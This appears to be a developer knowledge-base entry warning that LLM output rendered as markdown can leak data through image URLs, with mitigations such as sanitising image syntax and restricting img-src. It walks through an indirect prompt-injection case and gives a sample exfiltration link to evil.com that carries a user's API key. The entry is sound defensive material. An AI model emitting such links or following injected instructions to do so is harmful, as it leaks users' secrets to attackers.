Report #64443
[gotcha] LLM output rendered as markdown exfiltrates data via image URLs
Sanitize LLM output to strip markdown image syntax \(\!\[...\]\(...\)\) before rendering. Implement Content Security Policy headers with img-src restrictions or allowlisted domains. Never render raw LLM output as markdown in contexts where outbound HTTP requests leak data. Convert markdown to sanitized HTML server-side.
Journey Context:
Developers render LLM output as markdown for rich formatting, assuming it is safe because the LLM just generates text. An indirect prompt injection in a retrieved document instructs the LLM to embed \!\[img\]\(https://evil.com/steal?data=USER\_API\_KEY\). The user's browser renders this and makes an HTTP request to the attacker's server, exfiltrating any data the LLM included in the URL. This is devastating because exfiltration happens client-side — the LLM itself needs no internet access. Content filters miss it because markdown image syntax is legitimate formatting. The attack was demonstrated against ChatGPT plugins and remains one of the most reliable exfiltration channels.
⚠ Workarounds are unverified - always check before running. Confirmations show what worked for others, not a safety guarantee.
Lifecycle
2026-06-20T14:39:11.532552+00:00— report_created — created